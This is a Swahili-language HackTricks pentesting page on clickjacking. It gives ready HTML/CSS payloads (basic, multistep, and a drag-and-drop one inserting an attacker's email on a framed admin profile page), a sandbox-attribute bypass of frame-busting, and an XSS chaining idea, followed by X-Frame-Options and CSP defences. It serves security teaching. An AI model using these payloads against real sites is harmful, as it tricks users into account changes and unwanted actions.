hacktricks/pentesting-web/clickjacking.md

245 lines
13 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:25:17 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-02-11 02:13:58 +00:00
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kuunda na **kutumia mchakato wa kiotomatiki** ulioendeshwa na zana za jamii za **kisasa zaidi** duniani.\
Pata Ufikiaji Leo:
2022-04-28 16:01:33 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-02-11 02:13:58 +00:00
## Ni nini Clickjacking
2024-02-11 02:13:58 +00:00
Katika shambulio la clickjacking, **mtumiaji** anadanganywa ili **bonyeze** kipengele kwenye ukurasa wa wavuti ambao ni **isiyoonekana** au imefichwa kama kipengele kingine. Udanganyifu huu unaweza kusababisha matokeo yasiyotarajiwa kwa mtumiaji, kama vile kupakua programu hasidi, kupelekwa kwenye kurasa za wavuti zenye nia mbaya, kutoa vibali au habari nyeti, uhamishaji wa pesa, au ununuzi wa bidhaa mtandaoni.
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
### Mbinu ya kujaza fomu kabla
2024-02-11 02:13:58 +00:00
Marafiki ni rahisi kujaza thamani za uga wa fomu kwa kutumia vigezo vya GET wakati wa kupakia ukurasa. Mshambuliaji anaweza kutumia tabia hii vibaya kujaza fomu na data ya kiholela na kutuma mzigo wa clickjacking ili mtumiaji bonyeze kitufe cha Wasilisha.
2020-10-13 11:29:54 +00:00
2024-02-11 02:13:58 +00:00
### Jaza fomu kwa Drag\&Drop
2020-10-13 11:29:54 +00:00
2024-02-11 02:13:58 +00:00
Ikiwa unahitaji mtumiaji kujaza fomu lakini hauitaji kumuuliza moja kwa moja aandike habari fulani maalum (kama barua pepe na/au nenosiri maalum unayojua), unaweza tu kumuuliza a**Drag\&Drop** kitu ambacho kitaiandika data yako iliyodhibitiwa kama katika [**mfano huu**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
2024-02-11 02:13:58 +00:00
### Payload ya Msingi
```markup
<style>
2024-02-11 02:13:58 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
2024-02-11 02:13:58 +00:00
### Payload ya Hatua Nyingi
2024-02-11 02:13:58 +00:00
Kwa kawaida, mashambulizi ya clickjacking yanahusisha hatua moja tu, ambapo mtumiaji anabonyeza kitu bila kujua. Hata hivyo, kuna njia ya kufanya mashambulizi ya clickjacking kuwa na hatua nyingi. Hii inaweza kuwa muhimu hasa wakati unataka kufanya vitendo vingi kwa niaba ya mtumiaji bila kujulikana.
2024-02-11 02:13:58 +00:00
Kwa kufanya hivyo, unaweza kutumia JavaScript ili kutekeleza hatua nyingi za clickjacking. Kwa mfano, unaweza kuunda kifungo kinachofichwa kwenye ukurasa ambao mtumiaji anabonyeza bila kujua. Bonyeza hii inaweza kusababisha hatua nyingine, kama vile kubonyeza kifungo kingine au kuingiza data kwenye fomu.
Kwa njia hii, unaweza kufanya vitendo vingi vya clickjacking kwa mtumiaji bila wao kujua. Ni muhimu kutambua kuwa njia hii inaweza kuwa ngumu zaidi kutekeleza kuliko mashambulizi ya clickjacking ya hatua moja, lakini inaweza kuwa na athari kubwa zaidi.
```markup
<style>
2024-02-11 02:13:58 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
2024-02-11 02:13:58 +00:00
### Kuvuta na Achia + Bonyeza mzigo
Clickjacking ni mbinu ya kudanganya ambapo mtumiaji anadanganywa kubonyeza kitu fulani kwenye ukurasa wa wavuti bila kujua. Mbinu hii inaweza kutumiwa kudhibiti vitendo vya mtumiaji au kuiba habari zao za siri.
Katika mbinu hii, tunatumia mchanganyiko wa vitendo vya kuvuta na kushusha (drag and drop) pamoja na bonyeza (click) ili kufanikisha clickjacking. Hatua zifuatazo zinaelezea jinsi ya kutekeleza mbinu hii:
2024-02-11 02:13:58 +00:00
1. Tengeneza ukurasa wa wavuti ambao unajumuisha kitu ambacho unataka mtumiaji abonyeze bila kujua.
2. Weka kitu hicho ndani ya kificho cha kuvuta na kushusha (drag and drop).
3. Ficha kitu hicho kwa kutumia CSS ili kisionekane kwenye ukurasa.
4. Weka kitufe cha bonyeza (click) juu ya kitu hicho kilichofichwa.
5. Ficha kitufe cha bonyeza (click) kwa kutumia CSS ili kisionekane kwenye ukurasa.
6. Wakati mtumiaji anapobonyeza kitu kingine kwenye ukurasa, hatua ya bonyeza (click) itatekelezwa kwenye kitu kilichofichwa badala ya kitu kilichoonekana.
2020-10-13 11:29:54 +00:00
2024-02-11 02:13:58 +00:00
Kwa kufuata hatua hizi, unaweza kutekeleza mbinu ya clickjacking kwa mafanikio. Ni muhimu kutambua kuwa mbinu hii inaweza kuwa na athari mbaya na inapaswa kutumiwa kwa madhumuni ya kielimu au kwa idhini ya mmiliki wa wavuti.
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
2022-06-06 22:28:05 +00:00
### XSS + Clickjacking
2024-02-11 02:13:58 +00:00
Ikiwa umegundua **shambulio la XSS ambalo linahitaji mtumiaji bonyeze** kwenye kipengele fulani ili **kuchochea** XSS na ukurasa huo ni **mdhaifu kwa clickjacking**, unaweza kulitumia kudanganya mtumiaji abonyeze kitufe/kiungo.\
Mfano:\
_Umeona **self XSS** katika baadhi ya maelezo ya siri ya akaunti (maelezo ambayo **wewe pekee unaweza kuweka na kusoma**). Ukurasa na **fomu** ya kuweka maelezo haya ni **mdhaifu** kwa **Clickjacking** na unaweza **kuweka tayari** fomu hiyo na vigezo vya GET._\
\_\_Mshambuliaji anaweza kuandaa shambulio la **Clickjacking** kwenye ukurasa huo **kwa kuweka tayari** fomu hiyo na **XSS payload** na **kumdanganya** mtumiaji abonyeze kitufe/kiungo. Hivyo, **wakati fomu inapotumwa** na thamani zinabadilishwa, **mtumiaji atatekeleza XSS**.
2024-02-11 02:13:58 +00:00
## Mikakati ya Kupunguza Hatari ya Clickjacking
2024-02-11 02:13:58 +00:00
### Ulinzi wa Upande wa Mteja
2024-02-11 02:13:58 +00:00
Script zinazotekelezwa upande wa mteja zinaweza kufanya hatua za kuzuia Clickjacking:
2024-02-11 02:13:58 +00:00
* Kuhakikisha dirisha la programu ni dirisha kuu au dirisha la juu.
* Kufanya fremu zote ziweze kuonekana.
* Kuzuia bonyeza kwenye fremu zisizoonekana.
* Kugundua na kuonya watumiaji juu ya jaribio la Clickjacking.
2024-02-11 02:13:58 +00:00
Hata hivyo, script za kuvunja fremu zinaweza kuzungukwa:
2024-02-11 02:13:58 +00:00
* **Mipangilio ya Usalama ya Vivinjari:** Baadhi ya vivinjari vinaweza kuzuia script hizi kulingana na mipangilio yao ya usalama au kutokuwepo kwa usaidizi wa JavaScript.
* **Sifa ya `sandbox` ya iframe ya HTML5:** Mshambuliaji anaweza kufanya script za kuvunja fremu kuwa haziwezi kwa kuweka sifa ya `sandbox` na thamani za `allow-forms` au `allow-scripts` bila `allow-top-navigation`. Hii inazuia iframe kuhakiki ikiwa ni dirisha kuu, kwa mfano,
2024-02-06 03:10:38 +00:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
2024-02-11 02:13:58 +00:00
`allow-forms` na `allow-scripts` huwezesha vitendo ndani ya iframe wakati inazuia urambazaji wa kiwango cha juu. Ili kuhakikisha utendaji unaokusudiwa wa tovuti inayolengwa, ruhusa za ziada kama vile `allow-same-origin` na `allow-modals` zinaweza kuwa muhimu, kulingana na aina ya shambulio. Ujumbe wa konsoli ya kivinjari unaweza kuongoza ni ruhusa zipi za kuruhusu.
2024-02-11 02:13:58 +00:00
### Ulinzi wa Upande wa Seva
2024-02-06 03:10:38 +00:00
#### X-Frame-Options
2024-02-11 02:13:58 +00:00
Kichwa cha majibu cha HTTP cha **`X-Frame-Options`** kinawajulisha vivinjari kuhusu uhalali wa kuonyesha ukurasa katika `<frame>` au `<iframe>`, kusaidia kuzuia Clickjacking:
2024-02-11 02:13:58 +00:00
* `X-Frame-Options: deny` - Hakuna kikoa kinaweza kuweka yaliyomo.
* `X-Frame-Options: sameorigin` - Kikoa cha sasa tu kinaweza kuweka yaliyomo.
* `X-Frame-Options: allow-from https://trusted.com` - Kikoa kilichotajwa tu kinaweza kuweka ukurasa.
* Tafadhali kumbuka vikwazo: ikiwa kivinjari hakisaidii agizo hili, huenda halifanyi kazi. Baadhi ya vivinjari vinapendelea agizo la CSP la frame-ancestors.
2024-02-11 02:13:58 +00:00
#### Sera ya Usalama wa Yaliyomo (CSP) agizo la frame-ancestors
2024-02-11 02:13:58 +00:00
**Agizo la `frame-ancestors` katika CSP** ni njia iliyopendekezwa ya kulinda dhidi ya Clickjacking:
2024-02-11 02:13:58 +00:00
* `frame-ancestors 'none'` - Kama `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Kama `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Kama `X-Frame-Options: allow-from`.
2024-02-11 02:13:58 +00:00
Kwa mfano, CSP ifuatayo inaruhusu tu kuweka kutoka kwa kikoa kimoja:
`Content-Security-Policy: frame-ancestors 'self';`
2024-02-11 02:13:58 +00:00
Maelezo zaidi na mifano ngumu zinaweza kupatikana katika [hati ya CSP ya frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) na [hati ya CSP ya frame-ancestors ya Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
### Sera ya Usalama wa Yaliyomo (CSP) na `child-src` na `frame-src`
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
**Sera ya Usalama wa Yaliyomo (CSP)** ni hatua ya usalama inayosaidia kuzuia Clickjacking na mashambulio mengine ya kuingiza nambari kwa kuelezea vyanzo vipi kivinjari kinapaswa kuruhusu kupakia yaliyomo.
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
#### Agizo la `frame-src`
- Linataja vyanzo halali kwa ajili ya fremu.
- Ni maalum zaidi kuliko agizo la `default-src`.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
2024-02-11 02:13:58 +00:00
Sera hii inaruhusu fremu kutoka asili ileile (self) na https://trusted-website.com.
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
#### Mwongozo wa `child-src`
- Ilianzishwa katika kiwango cha CSP 2 kuweka vyanzo halali kwa wafanyakazi wa wavuti na fremu.
- Inafanya kazi kama chaguo-msingi kwa frame-src na worker-src.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
2024-02-11 02:13:58 +00:00
Sera hii inaruhusu fremu na wafanyakazi kutoka asili ile ile (self) na https://trusted-website.com.
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
**Maelezo ya Matumizi:**
- Kupitwa na wakati: child-src inafanywa kuwa ya zamani badala ya frame-src na worker-src.
- Tabia ya Kurejea: Ikiwa frame-src haipo, child-src inatumika kama mbadala kwa fremu. Ikiwa zote mbili hazipo, default-src inatumika.
- Ufafanuzi wa Chanzo Imara: Jumuisha vyanzo vya kuaminika tu katika maagizo ili kuzuia unyanyasaji.
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
#### Skrini za JavaScript za Kuvunja Fremu
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
Ingawa sio kamili, skrini za kuvunja fremu zinazotegemea JavaScript zinaweza kutumika kuzuia ukurasa wa wavuti usiwekwe kwenye fremu. Mfano:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-02-11 02:13:58 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
2024-02-11 02:13:58 +00:00
#### Kutumia Vitambulisho vya Anti-CSRF
2024-02-11 02:13:58 +00:00
* **Uhakiki wa Vitambulisho:** Tumia vitambulisho vya anti-CSRF katika programu za wavuti ili kuhakikisha kuwa maombi yanayobadilisha hali yanafanywa kwa makusudi na mtumiaji na sio kupitia ukurasa uliofungwa.
2024-02-11 02:13:58 +00:00
## Marejeo
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-02-11 02:13:58 +00:00
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na kutekeleza kwa urahisi **mchakato wa kiotomatiki** ulioendeshwa na zana za jamii **za juu zaidi duniani**.\
Pata Ufikiaji Leo:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:25:17 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>